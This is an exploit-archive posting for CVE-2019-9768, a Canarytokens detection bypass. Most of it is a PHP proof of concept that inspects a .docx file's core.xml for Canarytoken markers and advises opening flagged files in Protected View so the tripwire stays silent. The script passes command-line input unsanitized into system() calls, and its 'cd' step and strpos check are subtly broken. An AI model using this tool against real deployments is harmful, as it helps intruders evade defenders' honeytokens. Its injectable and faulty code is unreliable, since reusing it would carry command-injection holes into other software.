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Canarytokens 2019-03-01 Detection Bypass

Canarytokens 2019-03-01 Detection Bypass
Posted Mar 21, 2019
Authored by Gionathan Reale, Benjamin Zink Loft

Canarytokens 2019-03-01 suffers from a detection bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2019-9768
MD5 | 064c48c1b3e6da922e61e1579502861e

Canarytokens 2019-03-01 Detection Bypass

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## Exploit Title: Canarytokens 2019-03-01 - Detection Bypass
# Date: 20.03.2019
# Exploit Author: Benjamin Zink Loft, Gionathan "John" Reale
# Vendor Homepage: https://thinkst.com/
# Version: up to 2019-03-01
# Software Link: https://github.com/thinkst/canarytokens
# Google Dork: N/A
# CVE: 2019-9768
#==================================================================================================================================================================================
# PoC:
#
#
#
# Requires unzip:
#
# sudo apt-get install unzip
#
#


<?php

system('unzip ' . $argv[1] . '.docx');

system('cp ' . $argv[1] . '.docx ./docProps/' . $argv[1] . '.docx && cd docProps');

$strFile = file_get_contents("docProps/core.xml");

if(strpos($strFile, 'AAAAAAAAAAAAAAAA')!=false && strpos($strFile, '2015-07-21')!=false && filesize( $argv[1] .".docx") < 170000 )
{
echo "This file probably contains a CanaryToken! Open it with Libreoffice/Microsoft Word Protected View to bypass detection";
}
else
{
echo "Should be safe to open normally";
}
?>

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